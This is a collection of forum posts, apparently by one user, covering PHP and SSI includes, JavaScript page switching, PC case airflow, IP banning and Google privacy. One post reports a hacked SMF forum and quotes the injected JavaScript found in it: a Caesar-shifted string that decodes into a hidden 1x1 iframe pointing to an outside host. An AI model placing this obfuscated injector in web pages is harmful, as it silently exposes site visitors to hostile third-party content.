Can you configure the access point without a wireless connection. Meaning can you plug it to your computer with a wire? You mentioned the serial port, are there any other ports? I think the problem is that the access point is configured to accept connections from specific MAC addresses only. Only way to change this is by configuring the AP.

Word. Definitely worth studying. The thing about stuff like this is that, even though you might not have immediate use for them, by studying you'll know that they do exist and what stuff you can do with them. Generally speaking PHP manual is worth glancing through entirely. It is sometimes so frustrating when you have spend time implementing something yourself to notice that it is already built in the language.

Google's plan is getting more and more obvious... Before they collected data based on your searches (reasonable ok), then they moved to blogs (suspicious) and then into emails (crossed the line). Oh and then there the tool bar which spies the stuff you write in web forms and translate. By the way did you know that the toolbar sends the translated data to a google's server which returns the translation. Well neither do countless of people who have downloaded and installed this piece of spyware.But now they want us to give them readily structured data! I don't know whether to laugh or cry. Imagine a discussion forum using Google DB. All your posts and membership details including emails right there neatly in googles own servers. And al they need to do is keep up the servers and convince idiot webmasters to join their service...

The fact that forum posts take space and using forums takes processing time on the server seems to be things that not all people realize. Although it shoudl be pretty obvious. So if allowed, people post completely useless stuff and attachments and such. So if you are concerned about usage of database disk space get a good moderation team to remove pointless posts and possibly ban people who post utter crap. Many forum software's contain methods for deleting or moving old posts. For high traffic boards archiving old stuff is a good idea. This saves space and prevents people from replying to old topics (the so called "thread necromancy") And people using the boards should rememver this too. The diskspace, the bandwidth and the processing time (in a way) is paid by someone.

The rear fan is not supposed to suck air from outside the case. The airflow should be so that cold air is sucked in from the front and the hot air is blown out from the rear. Hot air rises up. If your rear fan is really blowing air inside the case, this is the problem. Flip is so that is blows the hot air out and close your cases side panels. I don't know about Intel but AMD does not recommend using fans on the front of the case. Usually having fans at rear or the roof of the case are enough to generate the airflow and as air comes out, some air must get in. So it is extemely important that the air intake on front (low) of the case is free from dust. Most cases have filters on front and they need to be cleaned regularly. Also it is important that the case is well sealed from other parts, so that the air gets in from the low front.

First of all, you're not supposed to have side panels open. If the computer runs cooler with the panels open there is something seriously wrong with the cooling. Do you monitor the temperatures? If so provide us some numbers, how hot the CPU and chipsets runs while idle and on stress. If you do not have temeperature monitoring software (sometimes comes with the motherboard) you can download one here: http://forums.xisto.com/no_longer_exists/ And could you describe how your case is cooled? How many fans are in the front, the read and on top. And does you power supply have fans ie. does it suck air from inside the case. If possible take few pics or provide link to the case manufacturer's page. Also take pics or describe how the CPU is cooled. What material the cooler is (copper, aluminium?) and what kind of fan is on it. And if you know tell what kind of paste there is between the cooler and CPU core.

I bet people at Redmond would be very happy to hear that when some people say SQL they mean MSSQL. Kind of like when people say Internet Explorer they mean a web browser.

Thanks for the post. I've known about this but never bothered doing it to my site. I guess I was a bit worried about browser support. Now on this guy is compressing his documents. :)By the way I have heard that gzip compression causes some problems with CSS stylesheets. Is this BS?

The trick is to do some serverside processing. Let me explain. Instead of manually editing every page (html file) and adding the menu, you make a separate file containing the html code for the menu and include it to each of your pages. The including is done with some server side technique. In practice you use either Server Side Includes (SSI) or some serverside scripting language (ASP, PHP, JSP). In SSI you include the files like this <!--#include virtual="relative/path/to/file.ext" --> In order SSI to work the server must support it and the file extension must be corrent. Usually it is .shtml but is configurable so can be anything. It can be configured to .html or .htm so you don't even need to change the extension. And I mean the extension for the file in which that #include call resides. SSI is quite old method and is probably less likely to be installed on a server than PHP for example. So I'd recommend you to go with PHP as it does the trick just as easy (even faster). In php you include file with this kind of call <?php include('path/to/file.ext');?> <?php marks the beginning of PHP code (so that the parser can find it) and ?> the end. The path to the file can be either relative or absolute. Instead of include() you could use function require(). Require requires the the file is found and can be included. If the file is not found the script will terminate and error message is displayed. the syntax for the call is exactly the same. I've heard that some webhosts have disabled include (for some reason) so you have to use require. Anyways it works just the same. In order to your PHP code get processed the files must be named with the extension .php. (index.php) for example)

The servers are under DDoS attacks. That's why.

You should propaply include all the files. Put them in a zip archive or something.

There is no such thing as TRUE IP. Or to put it other way around dynamic IPs are just as true as any. DHCP servers just hand out random IP addresses to clients connecting. They have no other addresses. Now the only truly unique address each client has is the MAC address of the NIC or cabel modem's or whatever. But these are not sent on HTTP requests. And when banning IP addresses dynamic addressing isn't the only issue. Proxy servers and NATs are far more worse. Ban the proxy's or NAT gateways address and you ban all people behind it. This could mean several thousand clients.

I think the whole thing depends on under what copyright laws the music is published. And as now copyright laws are changing in lot of places its really hard to stay on track. So best bet is not to use copyrighted music without permission.

How it is done in DreamWeaver? Couild someome copy & paste some example code.

I just replaced all files that had been changed. Actually deleted Souces/ and uploaded the original ones. What I'm wondering is what caused this?

Now creating a shopping basket or cart is fairly straightforward. You just need a way to save what products and of what quantity your customer is buying. Then of course a way to get the order to you. There are several alternatives for saving the cart data. An effective solution would combine them. First you could save them into cookies. Probably the easiest way to go, but not very reliable and classy. Then you could use some sort of session based system. It would mean that a specific session id would be carried in the url or preferable in a cookie (but no other data in cookies!) and the shopping cart would be saved on the server. This is also very easy to do with the session handling properties of the current server side languages. This is how I would do it.Then you could go for a login based system where the customer could reach his shopping cart with a password. The data would be saved in a database. Then once you have the shopping cart, you need a way to get the order for you to process. Simplest way would probably be to email the order, again realyl easy to do with server side languges, basically a one command. A whole other matter is payment which would require lot more time and attention to build. First of all there is the security issues. This is where I'd say you'd need to team up with experts. But if your business is relatively small, your shopping cart should have no need for an in built payment system. Basically it would just function as a way to send/input the order, nothing more.

I noticed some triple (''') at my site too. Also there are files in the forum folders that do not belong there. In my SMF Sources/ there are files called base.php, include.php and create.php. All files empty. I have emailed support.

And I noticed that some other files has been changed too.

I get an error too: Parse error: parse error, unexpected '/' in /home/hercco/public_html/forums/Sources/Post.php on line 1822 There is this javascipt added and have no idea where the hell it came from: <script language="javascript" type="text/javascript"> var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu4<1liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h=''; while(t<=k.length-1) { h=h+String.fromCharCode(k.charCodeAt(t++)-3); }document.write(h);</script>

Oh god don't say that. What about Opera users? And people who are stuck with IE and IE based browsers, in work for example. What I'd like to see is all developers doing W3C comliant code. If the most websites, epscially big commercial ones, started appearing in standard (X)HTML & CSS the browser developers would have to start paying more attention to standard compliancy. The pecking order should be: standards, web developers and the browser developers at last. Unfortunately now it is completely opposite and for most sites its not the plural form of "browser developer". And for full-CSS people stuggling with IE, you might want to check out Dean Edwards' IE7 package. You can find it here http://dean.edwards.name/IE7/ The beauty of the thing is that users don't need to install anything but most of the CSS stuff that wouldn't work on on IE now works. In addition to better CSS 'support' you also get a proper PNG transparency with which you can get rid of those GIFs finally. IE7 is also bloody easy to use. Just include the scripts when the client agent is IE. There is absolutely no need to make changes in you CSS or html.

Well bit torrent is extremely fast. Probably fastest p2p protocol. If you get a slow download it is usually because of the lack of seeders, in which case it'd be wise to look for a tracker with more seeders for the same file. Usually same releases get posted to several trackers. So don't blame the protocol, blame the lack of seeders.

Localhost = 127.0.0.1 So in fact to connect to a database you always need to use the address. It just happens to be that the database server is located behind the same IP address and thus localhost, which means the address 127.0.0.1, can be used.

Don't feel ashamed, Google is not doing charity. GMail wasn't created because there was need for another email service, but because it fits googles business plan. With google having an extensive advertising business it is fairly obvious that in addition to your web searches they use your emails and Blogger posts to profile you and target advertising. It's up to you where to draw the line, but personally I do not like information gathered from such a personal thing as email. I do not allow google to set cookies, and yes I do have a Gmail account but use a separate browser to access it (I actually have Netscape 7.1 installed only for reading Gmail) and only use it for registrations and such. The system itself is well built, it's probably the nicest webmail system ever, and the spam detection works well IMO. That's why I use it in the first place. You can call me paranoid but in this case not trusting doesn't hurt. And google is not the only service I don't trust. I generally block cookies from most sites, unless I see there is need for them. Its nice that advertisers tend to label their servers so that the url gives away their purpose.

It is possible, but would also mean that you would have to load all the "pages" which you want to be opened without a reload, thus making your index file larger. Anyways, if the content isn't anything heavy that would actually be quite nice to browse. This is how you do it: You make each of the "pages" a separate <div>. You should probably make a CSS class called content (or whatever) and use it for all the divs. The class would contain at least the positioning code, so that each of your "pages" (ie. divs) would appear at the same place. Each of these divs should be given an unique id. Such as "links" or "guestbook". A div could look like this: <div id="guestbook">Guestbook goes here</div> Then with CSS, you set one div: display: block; And all others display: none; Then you need to use javascript to change the "page". The function could look like this: function change( item ) { element=document.getElementById(item); current.style.display="none"; element.style.display="block"; current = element; } Notice that before the function, you should have set a value for "current". This line before the function: current=document.getElementById("index"); "Index" being there the id of the div which you which to have opened as a default. About that function, it simply gets the element by the id given as a parameter to it, sets the currently active page not to be displayed and the new element to be displayed as block. Finally the now activated element is set as "current" for the next time the function is called. For the buttons simply user onClick like this: <span onclick="change('guestbook');">Guestbook</span> The html element of course can be whatever you want (and image for example). But don't use links (<a></a> tags) since you always have to specify href value for them. You could put # there but it would cause annoying scrolls to the top. I'd recommend usings <span>s or images and using a CSS class for them specifying: cursor: pointer;which makes the cursor appear as the hand over the element, thus indicating a link-like behavior. And that's it! One problem arises with this kind of design though. It is the same as with using iFrames: people cannot link to exact pages. However you could do somekind of workaround for it, with PHP for example. Offer links to users with the page intended to be displayed specified as GET data. Like this: yousite.com/index.php?page=guestbook . And then with PHP set which div is set as display: block; on the page load.
